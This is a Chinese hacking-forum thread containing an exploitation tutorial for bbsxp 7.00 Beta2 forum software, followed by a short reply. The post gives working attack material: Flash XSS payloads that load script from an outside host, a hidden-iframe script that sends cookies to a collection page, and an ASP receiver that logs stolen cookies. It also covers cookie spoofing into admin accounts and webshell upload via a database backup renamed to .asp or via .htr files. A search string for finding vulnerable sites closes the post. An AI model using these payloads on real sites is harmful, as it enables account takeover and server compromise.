服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

wuqing 发表于 2007-1-6 00:18:33

bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子)

bbsxp&nbsp;7.00&nbsp;Beta2&nbsp;漏洞利用(请海哥进来指导下最好做个例子呵呵 谢谢了啊!)<BR><BR>一.COOKIE欺骗轻取前台<BR><BR>漏洞文件:setup.asp<BR><BR>相关代码:<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>if&nbsp;IsNumeric(Request.Cookies("UserID"))&nbsp;then<BR>sql="select&nbsp;*&nbsp;from&nbsp;&nbsp;where&nbsp;ID="&amp;Request.Cookies("UserID")&amp;""<BR>Set&nbsp;Rs=Conn.Execute(SQL)<BR><BR>if&nbsp;Rs.eof&nbsp;then<BR>CleanCookies()<BR>Response.Write&nbsp;"&lt;script&gt;window.setTimeout('window.location.reload();',2000)&lt;/script&gt;"<BR>Response.End<BR>end&nbsp;if<BR>if&nbsp;Request.Cookies("Userpass")&nbsp;&lt;&gt;&nbsp;Rs("Userpass")&nbsp;then<BR>CleanCookies()<BR>Response.Write&nbsp;"&lt;script&gt;window.setTimeout('window.location.reload();',2000)&lt;/script&gt;"<BR>Response.End<BR>end&nbsp;if<BR>CookieUserID=Rs("ID")<BR>CookieUserName=Rs("UserName")<BR>NewMessage=Rs("NewMessage")<BR>UserRoleID=Rs("UserRoleID")<BR>Rs.Close<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>从上边的程序段中,我们可以看出,程序首先取出COOKIE中的UERID进行SQL的查询,如果成功,会将取<BR><BR>得的COOKIE中的USERPASS和数据库中的userpass(为了清楚,我这些小写)进行比,如果相同那么将数据<BR><BR>库中的id赋给cookieuserid,将数据库中的username赋给USERNAME。显然,这个程序存在COOKIE欺骗漏洞。<BR><BR>二。既然我们知道了其中的漏洞那么我们就来利用吧。首先我们把目标分成三个步骤:<BR><BR>1.cookie的获得<BR><BR>2.cookie的传递<BR><BR>3.cookie的欺骗<BR><BR>对于cookie的获得,我们当然马上想到了跨站。那么我们来看下发贴这里的代码吧。<BR><BR>文件:newtopic.asp<BR><BR>相关代码:<BR><BR>&lt;!--&nbsp;#include&nbsp;file="Setup.asp"&nbsp;--&gt;<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>Content=ContentEncode(Request.Form("Content"))<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>程序用一个自定义的函数来过滤我们发表的代码。这里我们也了解到这个函数必定在setup.asp中。<BR><BR>文件:setup.asp<BR><BR>相关代码:<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>function&nbsp;ContentEncode(fString)<BR>fString=Replace(fString,vbCrlf,&nbsp;"")<BR>fString=Replace(fString,"\","\")<BR>fString=Replace(fString,"'","'")<BR>fString=Replace(fString,"&lt;A&nbsp;href=","&lt;A&nbsp;target=_blank&nbsp;href=")&nbsp;'点链接打开新窗口<BR>if&nbsp;SiteSettings("BannedHtmlLabel")&lt;&gt;""&nbsp;then&nbsp;fString=ReplaceText(fString,"&lt;(\/|)("&amp;SiteSettings("BannedHtmlLabel")&amp;")",&nbsp;"&lt;$1$2")<BR>if&nbsp;SiteSettings("BannedHtmlEvent")&lt;&gt;""&nbsp;then&nbsp;fString=ReplaceText(fString,"&lt;(.[^&gt;]*)("&amp;SiteSettings("BannedHtmlEvent")&amp;")",&nbsp;"&lt;$1$2")<BR>if&nbsp;SiteSettings("BannedText")&lt;&gt;""&nbsp;then<BR>filtrate=split(SiteSettings("BannedText"),"|")<BR>for&nbsp;i&nbsp;=&nbsp;0&nbsp;to&nbsp;ubound(filtrate)<BR>fString=ReplaceText(fString,""&amp;filtrate(i)&amp;"",string(len(filtrate(i)),"*"))<BR>next<BR>end&nbsp;if<BR>contentEncode=fString<BR>end&nbsp;function<BR><BR>=========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>在这里程序限制了&nbsp;我们跨站最需要的两个字符&nbsp;&lt;&nbsp;&gt;&nbsp;分别过滤成&nbsp;&lt;&nbsp;&gt;&nbsp;。所以一般的跨站对此根本<BR><BR>发挥不了任何作用。还有就是大家都知道跨站的出现必须出现如下的过程才能成功:<BR><BR>恶意用户的Html输入————&gt;web程序————&gt;进入数据库————&gt;web程序————&gt;用户浏览器<BR><BR>但是程序把我们输入的代码进入处理之后,我们输的代码会源封不动的显示,说明我们的HTML并没有执行。<BR><BR>这里我们必须借住flash的威力了。<BR><BR>二。跨站可别忘了flash<BR><BR>一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画<BR><BR>并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数如下:&nbsp;<BR><BR>getURL("&#106avascript:window.open('http://用于收集Cookie的网页地址?'+document&nbsp;cookie)","_self");<BR><BR>我们先分析一下上面的AtionScript脚本<BR><BR>它使用AtionScript脚本函数"getURL"跳转到一个使用&#106avascript协议的URL(&#106avascript协议后面就是我们非常熟悉的&#106avascript脚本代码)<BR><BR>在&#106avascript中使用documents.cookie得到Cookie,并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址<BR><BR>最后使用window.open打开合成的URL地址<BR><BR>从而把Cookie用GET方式发送到用于收集Cookie的网页,并记录下来。&nbsp;<BR><BR>通过上面的分析我们进一步了解那个弹出的IE窗口是由于&#106avascript协议中的代码window.open所生成的<BR><BR>相信大家都知道window.open的第二个参数用来指定打开的窗口的名字<BR><BR>其通用名称有<BR><BR>"_media&nbsp;(IE6.0&nbsp;在浏览器左边的媒体面板内打开)"<BR><BR>"_blank&nbsp;(在新窗口中打开)"<BR><BR>"_parent&nbsp;(在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于&nbsp;_self)"<BR><BR>"_search&nbsp;(IE5.0&nbsp;在浏览器左边的搜索面板内打开)"<BR><BR>"_self(在当前窗口中打开,覆盖当前文档)"<BR><BR>"_top&nbsp;(在所有框架之外的最顶层窗口中打开&nbsp;。假如当前窗口无框架结构,此参数值等同于&nbsp;_self&nbsp;)"等几种<BR><BR>如果我们以"_search"来打开窗口,不是就没有了弹出的IE窗口了吗?AtionScript脚本改为:&nbsp;<BR><BR>getURL("&#106avascript:window.open('http://用于收集Cookie的网页地址?'+document&nbsp;cookie,'_search')","_self");<BR><BR>当然,这样做会打开搜索面板,也会引起怀疑,但却可以躲过那些关闭弹出窗口软件的追杀!<BR><BR>冰狐狼子写的一篇"打造一个完美的IE网页木马"文章中有下面这样一段代码:&nbsp;<BR><BR>jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//');&nbsp;<BR><BR>window.open("file&#58&#106avascript:document.all.tags('SCRIPT').src='"+jsurl+"';eval();","icyfoxlovelace");&nbsp;&nbsp;<BR><BR>使用了&#106avascript协议把自己网站上的一个js代码文件插入到了本地文件中,同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中<BR><BR>相应的AtionScript脚本改为:&nbsp;<BR><BR>getURL("&#106avascript:document.all.tags('SCRIPT').src='<A href="http://www.hackwolf.cn/xss/1.js" target=_blank><FONT color=#333366>http://www.hackwolf.cn/xss/1.js</FONT></A>';eval();","_self");<BR><BR>stop();<BR><BR>其中1.js得内容如下:&nbsp;<BR><BR>cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(documents.cookie);&nbsp;<BR><BR>/*这里使用了escape()对cookie编码,用来防止cookie中的一些特殊字符*/&nbsp;<BR><BR>document.body.insertAdjacentHTML('beforeEnd','&lt;iframe&nbsp;WIDTH=0px&nbsp;HEIGHT=0px&nbsp;style="display:none;"&nbsp;src="'+cookieurl+'"&gt;&lt;\/iframe&gt;');&nbsp;<BR><BR>/*这里使用了insertAdjacentHTML在body的最后插入了一个不可见的框架*/&nbsp;<BR><BR>关于接受COOKIE的文件的编写:<BR><BR>&lt;%<BR>dim&nbsp;fso,file,str<BR>str=unescape(request.Servervariables("QUERY_STRING"))<BR>Const&nbsp;ForReading&nbsp;=&nbsp;1,&nbsp;ForWriting&nbsp;=&nbsp;2,&nbsp;ForAppending&nbsp;=&nbsp;8&nbsp;<BR>Set&nbsp;fso&nbsp;=&nbsp;Server.createObject("Scripting.FileSystemObject")&nbsp;<BR>path&nbsp;=&nbsp;server.mappath("cookies.txt")&nbsp;<BR>set&nbsp;file=fso.opentextfile(path,&nbsp;ForAppending,&nbsp;TRUE)<BR>file.write("盗得的cookie中的Eremite,UserID,UserPass分别是cookie欺骗要用到的三个参数。黑狼技术小组友情检测by品透泡菜:")&nbsp;&nbsp;<BR>file.write(str)&nbsp;&nbsp;<BR>file.write&nbsp;vbCrLf<BR>file.close<BR>set&nbsp;file&nbsp;=&nbsp;nothing&nbsp;<BR>set&nbsp;fso&nbsp;=&nbsp;nothing<BR>%&gt;<BR><BR>这里主要是利用了可以在一个网页中引入不同域中的&#106avascript代码文档,而且所引入的&#106avascript代码文档会和本网页融为一体的特点!&nbsp;<BR><BR>因为在COOKIE中存在了一些特殊字符,所以上面代码我用了escape()对cookie编码,在接受到cookie后请注意用unescape()来解码!&nbsp;<BR><BR>现在我们把FLASH嵌在发贴子的地方吧。这样管理员看了我们的贴,他的COOKIE就会乖乖的出现在我们设定的地方。<BR><BR>三.COOKIE欺骗显神通<BR><BR>在我们得到COOKIE之后就是进行欺骗,过程很简单大家看我操作就行了。<BR><BR>四。前台有路你不走,后台无门你也闯。<BR><BR>后台验证采用的是session验证,这样的话,我们利用COOKIE欺骗是进不去的。原因大家也知道。<BR><BR>开始我也不知道怎么办,但是看了TTFCT的文章之后,我也不敢苟同。<BR><BR>首先前后台的存帐号密码的表是不同的,因此如果照他的话说我们还得再利用跨站在盗一次COOKIE。<BR><BR>但是有别于刚刚盗的QQ我们必须处理好生成的文件名。<BR><BR>在这里我还有一个问题。<BR><BR>第一。一般人设了帐号密码前后台基本都是一样的,所以当我们得到前台的COOKIE时就可以直接去破。<BR><BR>第二。照TTFCT所说的,当管理在审核的时候,他为了给一个理由对你发的帖子删不删。<BR><BR>这样当管理员点了你的帖子&nbsp;这样就能得到后台密码了。但是,当管理员去浏览你的帖子,那必定是在前台,他一进入前台。你能所能盗的COOKIE还是前台的<BR><BR>根本弄不到后台的。因此,要进后台惟一就是破前台的COOKIE看运气好坏,如果运气好的话一样不好的话,自认倒霉。<BR><BR>四。运气决定一切<BR><BR>如果你有幸进入后台,那么恭喜你了。进了后台我们就能做很多事了。<BR><BR>首先看数据库这块:但是很不幸,下面的代码就告诉你了,数据库的路径是系统指定的,我们改不了,恢复也一样。所以这条路被堵死。<BR><BR>&lt;table&nbsp;cellspacing="1"&nbsp;cellpadding="5"&nbsp;width="70%"&nbsp;border="0"&nbsp;class="a2"&nbsp;align="center"&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;class=a1&nbsp;align=center&nbsp;colspan=2&gt;备份数据库&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;class=a3&nbsp;align=center&nbsp;colspan=2&gt;<BR>&lt;table&nbsp;cellpadding="0"&nbsp;cellspacing="0"&nbsp;width="90%"&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;width="30%"&gt;数据库路径:&nbsp;&lt;/td&gt;<BR>&lt;td&nbsp;width="70%"&gt;database/bbsxp7.mdb&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;width="30%"&gt;备份的数据库路径:&lt;/td&gt;<BR>&lt;td&nbsp;width="70%"&gt;&lt;input&nbsp;size="30"&nbsp;value="database/bbsxp7(2006-10-2).mdb"&nbsp;name="BakDbPath"&gt;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;width="100%"&nbsp;align="center"&nbsp;colspan="2"&gt;<BR>&lt;input&nbsp;type="submit"&nbsp;value="&nbsp;备&nbsp;份&nbsp;"&gt;&lt;br&gt;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/table&gt;<BR>&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;<BR>&lt;table&nbsp;cellspacing="1"&nbsp;cellpadding="5"&nbsp;width="70%"&nbsp;border="0"&nbsp;class="a2"&nbsp;align="center"&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;class=a1&nbsp;align=center&nbsp;colspan=2&gt;恢复数据库&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;class=a3&nbsp;align=center&nbsp;colspan=2&gt;<BR>&lt;table&nbsp;cellpadding="0"&nbsp;cellspacing="0"&nbsp;width="90%"&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;width="30%"&gt;备份的数据库路径:&nbsp;&lt;/td&gt;<BR>&lt;td&nbsp;width="70%"&gt;<BR>&lt;input&nbsp;size="30"&nbsp;value="database/bbsxp7(2006-10-2).mdb"&nbsp;name="BakDbPath"&gt;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;width="30%"&gt;数据库路径:&lt;/td&gt;<BR>&lt;td&nbsp;width="70%"&gt;database/bbsxp7.mdb&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td&nbsp;width="100%"&nbsp;align="center"&nbsp;colspan="2"&gt;<BR>&lt;input&nbsp;type="submit"&nbsp;value="&nbsp;恢&nbsp;复&nbsp;"&gt;&lt;br&gt;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<BR>&lt;/form&gt;<BR><BR>再次,我们可以这么利用,首先在公告这里写一个一句话进数据库,然后把数据库备份成*.asp格式这样就能突破了。(数据库没有做防下载处理)<BR><BR>还有办法就是在添加类型加一个htr,大家都知道&nbsp;htr也是通过asp.dll进行解析的。那为什么不能添加别的类型呢,因为程序有限制,限制了asp&nbsp;asa&nbsp;cdx&nbsp;cer<BR><BR>但是没有限制这个所以我们就可以传它了。其实如果代码写成只允许哪些类型的话就不会出现这样的问题了。<BR><BR>长长的分析说完了&nbsp;教程也写完了&nbsp;程序的关键字很简单:powered&nbsp;by&nbsp;bbsxp&nbsp;或powered&nbsp;bbsxp&nbsp;7.00&nbsp;Beta2&nbsp;前面的版本均存在这里所提到的漏洞。

至尊玉 发表于 2006-5-16 17:26:31

re:bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子)

<P>建立了一个管理员权限的帐户!</P>
<P>不知道对不对!</P>
页: [1]
查看完整版本: bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子)